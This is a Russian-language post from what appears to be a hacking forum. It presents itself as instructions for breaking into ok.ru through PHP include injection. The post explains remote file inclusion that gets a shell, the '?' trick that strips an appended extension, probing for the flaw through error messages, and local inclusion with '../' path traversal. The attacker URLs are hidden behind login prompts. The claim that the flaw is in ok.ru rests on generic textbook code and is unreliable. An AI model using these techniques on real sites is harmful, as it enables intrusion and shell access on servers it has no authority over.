Взлом ok.ru с помощью PHP-инъекций через уязвимость функции include.

  • На форуме работает ручное одобрение пользователей. Это значит, что, если Ваша причина регистрации не соответствует тематике форума, а также Вы используете временную почту, Ваша учётная запись будет отклонена без возможности повторной регистрации. В дальнейшем - пожизненная блокировка обоих аккаунтов за создание мультиаккаунта.
  • Мы обновили Tor зеркало до v3!
    Для входа используйте следующий url: darkv3nw2...bzad.onion/
  • Мы вновь вернули telegram чат форуму, вступайте, общайтесь, задавайте любые вопросы как администрации, так и пользователям!
    Ссылка: https://t.me/chat_dark_time

Morty

VIP

Morty

VIP
26 Окт 2017
537
113
Недавно найдена уязвимость в ок.ру, и я расскажу вам, как использовать эту уязвимость.
Для начала нам требуется вывести эту уязвимость. Выбираем любое фото или надпись на стенке и пишем любой комментарий, нажимаем кнопку обновить и ищем в ссылке page=1
1 - это отображаемая страница.
Теперь мы видим, что ок использует комманду page=1 для отображения запрашиваемой страницы.
Код будет выглядить так:
PHP:
<?php
$file =$_GET['page']; //Отображаемая страница
include($file);
?>
Это значит, что все, выводимое на странице, будет внедрено в php-код этой страницы. Следовательно атакующий может проделать что-то наподобии:
PHP:
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!

Если посмотреть, что происходит после выполнения инклуда, нам представится следующий код, выполненный на целевом сервере:
PHP:
<?php
$file ="
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
"; //$_GET['page'];
include($file); //$file - это внедренный злоумышленником скрипт
?>
Мы видим, что злоумышленник произвел успешную атаку на целевой сервер.
Подробнее:
И так, почему же злоумышленник смог провести PHP-инъекцию?
Все потому что функция include()позволяет запускать удаленные файлы.
Почему в примере был указан скрипт с расширением *.txt, а не *.php?
Ответ прост, если бы скрипт имел формат *.php, он бы запустился на сервере злоумышленника, а не на целевой системе.
Так же был добавлен символ "?" в пути к внедряемому скрипту, чтобы убрать что-либо, находящееся внутри функцииinclude() на целевом сервере.
Пример:
PHP:
<?php
$file =$_GET['page'];
include($file .".php");
?>
Этот скрипт добавляет расширение *.phpк чему либо, вызываемомому коммандойinclude().
Т.е.
PHP:
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!

Превращается в
PHP:
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!

С таким именем скрипт не запустится (на сервере злоумышленника не существует фала /вредоносный_скрипт.txt.php)
По этому, мы и добавляем "?" в конец пути к вредоносному скрипту:
PHP:
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!

Но он остается исполняемым.
RFI - удаленный инклюд при PHP-инъекции.
Возможность проведения RFI - довольно частая бага в двигах.
Найти ее можно следущим образом:
Допустим мы случайно набрели на страницу, в адресной строке броузера заканчивающуюся подобным образом:
PHP:
/index.php?page=main
Подставляем вместо main любое бредовое значение, например upyachka
PHP:
/index.php?page=upyachka
В ответ получим ошибку:
PHP:
Warning: main(upyachka.php): failed to open stream: No such file or directory in /home/user/www//page.php on line 3
Warning: main(upyachka.php): failed to open stream: No such file or directory in /home/user/www/page.php on line 3
Warning: main(): Failed opening 'upyachka.php' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php:/usr/local/share/pear') in /home/user/www/page.php on line 3
Это показывает нам на то, что инклуд осуществим.
Пробуем подставить вместо upyachkaсайт с путем до шелла (расширения файла шелла не должно указываться, или указывать его, как было описано выше)
PHP:
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!

Таким образом получен шелл. Теперь нужно сообщить админу сайта об уязвимости, что бы он исправил, и злые дядьки не воспользовались багой.
LFI - локальный инклюд при PHP-инъекции.
Представим, что мы набрели на тот же уязвимый сайт
PHP:
/index.php?file=main
С кодом
PHP:
<?
..
Include ("folder/$page.htm");

?>
Это уже локальный инклюд. В этой ситуации возможен только листинг файлов:
PHP:
/index.php?page=../index.php
В следующем случае код выглядит вот таким образом:
PHP:
<?
..
Include ("$dir1/folder/page.php");

?>
В этом случае можно прописать путь к шеллу следующим образом:
Создаем папку folder на сайте, где хранится шелл, в эту папку закидываем шелл:
PHP:
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!

Инъекция в таком случае будет выглядить так:
PHP:
index.php?dir1=
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!

Если вы не знаете как написать вредоностный скрипт, то Гугл в помощь ;)
 

superpytin

Участник

superpytin

Участник
9 Мар 2018
1
0
ахаха. круто. моя темка по всему миру пошла :D.
только вот жаль настоящего автора темы не указали :))). в телеграмме жирными буквами было написано. затем пошел копипаст по форумам.)
 

О нас

  • Наше сообщество существует уже много лет и гордится тем, что предлагает непредвзятое, критическое обсуждение различных тем среди людей разных слоев общества. Мы работаем каждый день, чтобы убедиться, что наше сообщество является одним из лучших.

    Dark-Time 2015 - 2022

    При поддержке: XenForo.Info

Быстрая навигация

Меню пользователя